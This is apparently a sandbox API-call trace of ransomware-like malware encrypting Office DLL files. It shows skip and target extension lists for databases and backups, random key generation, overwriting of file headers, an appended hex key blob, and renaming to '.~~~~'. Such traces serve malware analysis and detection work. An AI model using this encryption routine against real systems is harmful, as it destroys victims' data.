	[0079.528] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0079.529] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0079.529] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35ca78
	[0079.529] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0079.529] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35ca78 | out: hHeap=0x300000) returned 1
	[0079.529] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0079.529] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0079.529] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b6df0
	[0079.529] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0079.529] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1b70
	[0079.529] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6df0 | out: hHeap=0x300000) returned 1
	[0079.529] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0079.529] GetLastError () returned 0x0
	[0079.529] GetLastError () returned 0x0
	[0079.529] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0079.529] GetLastError () returned 0x0
	[0079.529] GetLastError () returned 0x0
	[0079.529] ReadFile (in: hFile=0x130, lpBuffer=0x283dfe0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x283dfe0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0079.677] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0079.677] WriteFile (in: hFile=0x130, lpBuffer=0x283dfe0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x283dfe0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0079.678] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283dfe0 | out: hHeap=0x300000) returned 1
	[0079.678] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0079.678] WriteFile (in: hFile=0x130, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0079.793] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0079.793] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0079.793] CloseHandle (hObject=0x130) returned 1
	[0079.794] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0079.794] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acexbe.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acexbe.dll.~~~~")) returned 1
	[0079.795] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0079.795] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0079.795] GetLastError () returned 0x0
	[0079.795] RtlWakeConditionVariable () returned 0x365f70
	[0079.795] GetCurrentThreadId () returned 0x9cc
	[0079.795] GetCurrentThreadId () returned 0x9cc
	[0079.795] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0079.795] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fb830 | out: hHeap=0x300000) returned 1
	[0079.795] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b900 | out: hHeap=0x300000) returned 1
	[0079.795] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb830
	[0079.795] lstrlenW (lpString=".scr") returned 4
	[0079.795] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL", lpSrch=".scr") returned 0x0
	[0079.795] lstrlenW (lpString=".cmd") returned 4
	[0079.795] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL", lpSrch=".cmd") returned 0x0
	[0079.796] lstrlenW (lpString=".dll") returned 4
	[0079.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL", lpSrch=".dll") returned 0x0
	[0079.796] lstrlenW (lpString=".bat") returned 4
	[0079.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL", lpSrch=".bat") returned 0x0
	[0079.796] lstrlenW (lpString=".cpl") returned 4
	[0079.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL", lpSrch=".cpl") returned 0x0
	[0079.796] lstrlenW (lpString=".sys") returned 4
	[0079.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL", lpSrch=".sys") returned 0x0
	[0079.796] lstrlenW (lpString=".msc") returned 4
	[0079.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL", lpSrch=".msc") returned 0x0
	[0079.796] lstrlenW (lpString=".com") returned 4
	[0079.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL", lpSrch=".com") returned 0x0
	[0079.796] lstrlenW (lpString=".lnk") returned 4
	[0079.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL", lpSrch=".lnk") returned 0x0
	[0079.796] lstrlenW (lpString=".msp") returned 4
	[0079.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL", lpSrch=".msp") returned 0x0
	[0079.796] lstrlenW (lpString=".pif") returned 4
	[0079.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL", lpSrch=".pif") returned 0x0
	[0079.796] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0079.796] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0079.796] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_pdf.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0079.906] lstrlenW (lpString=".sqb") returned 4
	[0079.906] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL", lpSrch=".sqb") returned 0x0
	[0079.906] lstrlenW (lpString=".ost") returned 4
	[0079.906] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL", lpSrch=".ost") returned 0x0
	[0079.906] lstrlenW (lpString=".txt") returned 4
	[0079.907] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL", lpSrch=".txt") returned 0x0
	[0079.907] lstrlenW (lpString=".mdt") returned 4
	[0079.907] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL", lpSrch=".mdt") returned 0x0
	[0079.907] lstrlenW (lpString=".BDB") returned 4
	[0079.907] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL", lpSrch=".BDB") returned 0x0
	[0079.907] lstrlenW (lpString=".eql") returned 4
	[0079.907] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL", lpSrch=".eql") returned 0x0
	[0079.907] lstrlenW (lpString=".DBF") returned 4
	[0079.907] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL", lpSrch=".DBF") returned 0x0
	[0079.907] lstrlenW (lpString=".EQL") returned 4
	[0079.907] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL", lpSrch=".EQL") returned 0x0
	[0079.907] lstrlenW (lpString=".FDB") returned 4
	[0079.907] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL", lpSrch=".FDB") returned 0x0
	[0079.907] lstrlenW (lpString=".EDB") returned 4
	[0079.907] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL", lpSrch=".EDB") returned 0x0
	[0079.907] lstrlenW (lpString=".DACPAC") returned 7
	[0079.907] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL", lpSrch=".DACPAC") returned 0x0
	[0079.907] lstrlenW (lpString=".VHD") returned 4
	[0079.907] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL", lpSrch=".VHD") returned 0x0
	[0079.907] lstrlenW (lpString=".DBV") returned 4
	[0079.907] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL", lpSrch=".DBV") returned 0x0
	[0079.907] lstrlenW (lpString=".dacpac") returned 7
	[0079.907] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL", lpSrch=".dacpac") returned 0x0
	[0079.907] lstrlenW (lpString=".sdf") returned 4
	[0079.907] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL", lpSrch=".sdf") returned 0x0
	[0079.907] lstrlenW (lpString=".accdb") returned 6
	[0079.908] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL", lpSrch=".accdb") returned 0x0
	[0079.908] lstrlenW (lpString=".DBX") returned 4
	[0079.908] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL", lpSrch=".DBX") returned 0x0
	[0079.908] lstrlenW (lpString=".MDT") returned 4
	[0079.908] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL", lpSrch=".MDT") returned 0x0
	[0079.908] lstrlenW (lpString=".SQB") returned 4
	[0079.908] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL", lpSrch=".SQB") returned 0x0
	[0079.908] lstrlenW (lpString=".vhd") returned 4
	[0079.908] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL", lpSrch=".vhd") returned 0x0
	[0079.908] lstrlenW (lpString=".bac") returned 4
	[0079.908] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL", lpSrch=".bac") returned 0x0
	[0079.908] lstrlenW (lpString=".mdf") returned 4
	[0079.908] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL", lpSrch=".mdf") returned 0x0
	[0079.908] lstrlenW (lpString=".BAK") returned 4
	[0079.908] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL", lpSrch=".BAK") returned 0x0
	[0079.908] lstrlenW (lpString=".BAC") returned 4
	[0079.908] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL", lpSrch=".BAC") returned 0x0
	[0079.908] lstrlenW (lpString=".dbs") returned 4
	[0079.908] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL", lpSrch=".dbs") returned 0x0
	[0079.908] lstrlenW (lpString=".vhdx") returned 5
	[0079.908] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL", lpSrch=".vhdx") returned 0x0
	[0079.908] lstrlenW (lpString=".NDF") returned 4
	[0079.908] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL", lpSrch=".NDF") returned 0x0
	[0079.908] lstrlenW (lpString=".dat") returned 4
	[0079.908] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL", lpSrch=".dat") returned 0x0
	[0079.908] lstrlenW (lpString=".DBS") returned 4
	[0079.909] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL", lpSrch=".DBS") returned 0x0
	[0079.909] lstrlenW (lpString=".CKP") returned 4
	[0079.909] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL", lpSrch=".CKP") returned 0x0
	[0079.909] lstrlenW (lpString=".edb") returned 4
	[0079.909] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL", lpSrch=".edb") returned 0x0
	[0079.909] lstrlenW (lpString=".PST") returned 4
	[0079.909] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL", lpSrch=".PST") returned 0x0
	[0079.909] lstrlenW (lpString=".dbf") returned 4
	[0079.909] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL", lpSrch=".dbf") returned 0x0
	[0079.909] lstrlenW (lpString=".SQL") returned 4
	[0079.909] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL", lpSrch=".SQL") returned 0x0
	[0079.909] lstrlenW (lpString=".pst") returned 4
	[0079.909] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL", lpSrch=".pst") returned 0x0
	[0079.909] lstrlenW (lpString=".dbv") returned 4
	[0079.909] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL", lpSrch=".dbv") returned 0x0
	[0079.909] lstrlenW (lpString=".SDF") returned 4
	[0079.909] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL", lpSrch=".SDF") returned 0x0
	[0079.909] lstrlenW (lpString=".dtxs") returned 5
	[0079.909] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL", lpSrch=".dtxs") returned 0x0
	[0079.909] lstrlenW (lpString=".db3") returned 4
	[0079.909] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL", lpSrch=".db3") returned 0x0
	[0079.909] lstrlenW (lpString=".OST") returned 4
	[0079.909] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL", lpSrch=".OST") returned 0x0
	[0079.909] lstrlenW (lpString=".dbx") returned 4
	[0079.909] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL", lpSrch=".dbx") returned 0x0
	[0079.909] lstrlenW (lpString=".DB3") returned 4
	[0079.909] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL", lpSrch=".DB3") returned 0x0
	[0079.910] lstrlenW (lpString=".DAT") returned 4
	[0079.910] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL", lpSrch=".DAT") returned 0x0
	[0079.910] lstrlenW (lpString=".VHDX") returned 5
	[0079.910] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL", lpSrch=".VHDX") returned 0x0
	[0079.910] lstrlenW (lpString=".ndf") returned 4
	[0079.910] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL", lpSrch=".ndf") returned 0x0
	[0079.910] lstrlenW (lpString=".DB") returned 3
	[0079.910] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL", lpSrch=".DB") returned 0x0
	[0079.910] lstrlenW (lpString=".sql") returned 4
	[0079.910] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL", lpSrch=".sql") returned 0x0
	[0079.910] lstrlenW (lpString=".MYD") returned 4
	[0079.910] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL", lpSrch=".MYD") returned 0x0
	[0079.910] lstrlenW (lpString=".DBT") returned 4
	[0079.910] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL", lpSrch=".DBT") returned 0x0
	[0079.910] lstrlenW (lpString=".ACCDB") returned 6
	[0079.910] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL", lpSrch=".ACCDB") returned 0x0
	[0079.910] lstrlenW (lpString=".fdb") returned 4
	[0079.910] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL", lpSrch=".fdb") returned 0x0
	[0079.910] lstrlenW (lpString=".bak") returned 4
	[0079.910] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL", lpSrch=".bak") returned 0x0
	[0079.910] lstrlenW (lpString=".myd") returned 4
	[0079.910] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL", lpSrch=".myd") returned 0x0
	[0079.910] lstrlenW (lpString=".DTXS") returned 5
	[0079.910] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL", lpSrch=".DTXS") returned 0x0
	[0079.910] lstrlenW (lpString=".ckp") returned 4
	[0079.910] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL", lpSrch=".ckp") returned 0x0
	[0079.910] lstrlenW (lpString=".dbt") returned 4
	[0079.911] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL", lpSrch=".dbt") returned 0x0
	[0079.911] lstrlenW (lpString=".db") returned 3
	[0079.911] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL", lpSrch=".db") returned 0x0
	[0079.911] lstrlenW (lpString=".TXT") returned 4
	[0079.911] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL", lpSrch=".TXT") returned 0x0
	[0079.911] lstrlenW (lpString=".MDF") returned 4
	[0079.911] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL", lpSrch=".MDF") returned 0x0
	[0079.911] lstrlenW (lpString=".bdb") returned 4
	[0079.911] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL", lpSrch=".bdb") returned 0x0
	[0079.911] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0079.911] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0079.911] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804470
	[0079.911] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0079.911] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0079.912] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0079.912] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0079.912] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0079.912] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0079.912] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3cc6f0
	[0079.913] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=19990264462) returned 1
	[0079.913] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x997f2270, dwHighDateTime=0x1d60e1e)) 
	[0079.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0079.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0079.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0079.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b970
	[0079.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0079.913] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b970 | out: hHeap=0x300000) returned 1
	[0079.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd328
	[0079.913] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0079.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b6df0
	[0079.913] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd328 | out: hHeap=0x300000) returned 1
	[0079.913] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb538
	[0079.913] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6df0 | out: hHeap=0x300000) returned 1
	[0079.913] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0079.913] GetLastError () returned 0x0
	[0079.915] GetLastError () returned 0x0
	[0079.915] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0079.916] GetLastError () returned 0x0
	[0079.916] GetLastError () returned 0x0
	[0079.916] ReadFile (in: hFile=0x128, lpBuffer=0x2834fe0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2834fe0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0079.993] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0079.993] WriteFile (in: hFile=0x128, lpBuffer=0x2834fe0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2834fe0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0079.993] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2834fe0 | out: hHeap=0x300000) returned 1
	[0079.995] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0079.995] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0080.058] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0080.058] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0080.058] CloseHandle (hObject=0x128) returned 1
	[0080.096] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0080.096] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_pdf.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_pdf.dll.~~~~")) returned 1
